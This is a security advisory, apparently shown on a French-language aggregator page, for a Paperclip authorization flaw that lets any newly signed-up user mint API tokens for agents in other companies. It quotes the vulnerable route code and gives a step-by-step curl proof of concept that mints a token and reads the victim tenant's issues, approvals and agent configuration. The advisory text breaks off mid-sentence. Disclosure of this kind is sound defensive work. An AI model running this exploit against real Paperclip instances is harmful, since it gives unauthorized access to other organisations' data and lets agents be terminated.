GHSA-47wq-cj9q-wpmp

GHSA-47wq-cj9q-wpmp · Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys

Cette page présente des faits issus de sources publiques. Consultez l’avis original avant toute mise à jour.

Cette page présente une partie des faits des sources. Consultez les avis liés pour la description complète et les versions concernées.

<img width="7007" height="950" alt="01-setup" src="https://github.com/user-attachments/assets/1596b8d1-8de5-4c21-b1d2-2db41b568d7e" /> > Isolated paperclip instance running in authenticated mode (default config) > on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post > the 2026.410.0 patch). This advisory was verified on an unmodified build. ### Summary `POST /api/agents/:id/keys`, `GET /api/agents/:id/keys`, and `DELETE /api/agents/:id/keys/:keyId` (`server/src/routes/agents.ts` lines 2050-2087) only call `assertBoard` to authorize the caller. They never call `assertCompanyAccess` and never verify that the caller is a member of the company that owns the target agent. Any authenticated board user (including a freshly signed-up account with zero company memberships and no `instance_admin` role) can mint a plaintext `pcp_*` agent API token for any agent in any company on the instance. The minted token is bound to the **victim** agent's `companyId` server-side, so every downstream `assertCompanyAccess` check on that token authorizes operations inside the victim tenant. This is a pure authorization bypass on the core tenancy boundary. It is distinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in 2026.410.0): that advisory fixed one handler, this report is a different handler with the same class of mistake that the 2026.410.0 patch did not cover. ### Root Cause `server/src/routes/agents.ts`, lines 2050-2087: ```ts router.get("/agents/:id/keys", async (req, res) => { assertBoard(req); // <-- no assertCompanyAccess const id = req.params.id as string; const keys = await svc.listKeys(id); res.json(keys); }); router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => { assertBoard(req); // <-- no assertCompanyAccess const id = req.params.id as string; const key = await svc.createApiKey(id, req.body.name); ... res.status(201).json(key); // returns plaintext `token` }); router.delete("/agents/:id/keys/:keyId", async (req, res) => { assertBoard(req); // <-- no assertCompanyAccess const keyId = req.params.keyId as string; const revoked = await svc.revokeKey(keyId); ... }); ``` Compare the handler 12 lines below, `router.post("/agents/:id/wakeup")`, which shows the correct pattern: it fetches the agent, then calls `assertCompanyAccess(req, agent.companyId)`. The three `/keys` handlers above do not even fetch the agent. The token returned by `POST /agents/:id/keys` is bound to the **victim** company in `server/src/services/agents.ts`, lines 580-609: ```ts createApiKey: async (id: string, name: string) => { const existing = await getById(id); // victim agent ... const token = createToken(); const keyHash = hashToken(token); const created = await db .insert(agentApiKeys) .values({ agentId: id, companyId: existing.companyId, // <-- victim tenant name, keyHash, }) .returning() .then((rows) => rows[0]); return { id: created.id, name: created.name, token, // <-- plaintext returned createdAt: created.createdAt, }; }, ``` `actorMiddleware` (`server/src/middleware/auth.ts`) then resolves the bearer token to `actor = { type: "agent", companyId: existing.companyId }`, so every subsequent `assertCompanyAccess(req, victim.companyId)` check passes. The exact same `assertBoard`-only pattern is also present on agent lifecycle handlers in the same file (`POST /agents/:id/pause`, `/resume`, `/terminate`, and `DELETE /agents/:id` at lines 1962, 1985, 2006, 2029). An attacker can terminate, delete, or silently pause any agent in any company with the same primitive. ### Trigger Conditions 1. Paperclip running in `authenticated` mode (the public, multi-user configuration — `PAPERCLIP_DEPLOYMENT_MODE=authenticated`). 2. `PAPERCLIP_AUTH_DISABLE_SIGN_UP` unset or false (the default — same default precondition as GHSA-68qg-g8mg-6pr7). 3. At least one other company exists on the instance with at least one agent. In practice this is the normal state of any production paperclip deployment. The attacker needs the victim agent's ID, which leaks through activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that the 2026.410.0 disclosure also flagged as under-protected. No admin role, no invite, no email verification, no CSRF dance. The attacker is an authenticated browser-session user with zero company memberships. ### PoC Verified against a freshly built `ghcr.io/paperclipai/paperclip:latest` container at commit `b649bd4` (2026.411.0-canary.8, which is **post** the 2026.410.0 import-bypass patch). Full 5-step reproduction: <img width="5429" height="1448" alt="02-signup" src="https://github.com/user-attachments/assets/4c2b2939-326b-4e0d-aa01-05e22851486b" /> > Step 1-2: Mallory signs up via the default `/api/auth/sign-up/email` flow > (no invite, no verification) and confirms via `GET /api/companies` that she > is a member of zero companies. She has no tenant access through the normal > authorization path. ```bash # Step 1: attacker signs up as an unprivileged board user curl -s -X POST http://<target>:3102/api/auth/sign-up/email \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","password":"P@ssw0rd456","name":"mallory"}' # Save the `better-auth.session_token` cookie from Set-Cookie. # Step 2: confirm zero company membership curl -s -H "Cookie: $MALLORY_SESSION" http://<target>:3102/api/companies # -> [] ``` <img width="2891" height="1697" alt="03-exploit" src="https://github.com/user-attachments/assets/c097e861-6bc9-4f6a-841c-b45501e27849" /> > Step 3 — the vulnerability. Mallory POSTs to `/api/agents/:id/keys` > targeting an agent in Victim Corp (a company she is NOT a member of). The > server returns a plaintext `pcp_*` token tied to the victim's `companyId`. > There is no authorization error. `assertBoard` passed because Mallory is a > board user; `assertCompanyAccess` was never called. ```bash # Step 3: mint a plaintext token for a victim agent VICTIM_AGENT=<any-agent-id-in-another-company> curl -s -X POST \ -H "Cookie: $MALLORY_SESSION" \ -H "Origin: http://<target>:3102" \ -H "Content-Type: application/json" \ -d '{"name":"pwnkit"}' \ http://<target>:3102/api/agents/$VICTIM_AGENT/keys # -> 201 { "id":"...", "token":"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25", ... } ``` <img width="2983" height="2009" alt="04-exfil" src="https://github.com/user-attachments/assets/ede5d469-4119-432c-b0ae-5a4fabc9a56b" /> > Step 4-5: Use the stolen token as a Bearer credential. `actorMiddleware` > resolves it to `actor = { type: "agent", companyId: VICTIM }`, so every > downstream `assertCompanyAccess` gate authorizes reads against Victim Corp. > Mallory can now enumerate the victim's company metadata, issues, approvals, > and agent configuration — none of which she had access to 30 seconds ago. ```bash # Step 4: use the stolen token to read victim company data STOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25 VICTIM_CO=<victim-company-id> curl -s -H "Authorization: Bearer $STOLEN" \ http://<target>:3102/api/companies/$VICTIM_CO # -> 200 { "id":"...", "name":"Victim Corp", ... } curl -s -H "Authorization: Bearer $STOLEN" \ http://<target>:3102/api/companies/$VICTIM_CO/issues # -> 200 [ ...every issue in the victim tenant... ] curl -s -H "Authorization: Bearer $STOLEN" \ http://<target>:3102/api/companies/$VICTIM_CO/approvals # -> 200 [ ...every approval in the victim tenant... ] curl -s -H "Authorization: Bearer $STOLEN" \ http://<target>:3102/api/agents/$VICTIM_AGENT # -> 200 { ...full agent config incl. adapter settings... } ``` Observed outputs (all verified on live instance at time of submission): - `POST /api/agents/:id/keys` → **2

CVSS 9.9 · Critique · Correctif disponible

Publication

2026-04-16T22:48:32Z

Mise à jour

2026-04-16T23:04:38.150636Z

Pile logicielle: node

Vérifiez votre serveur →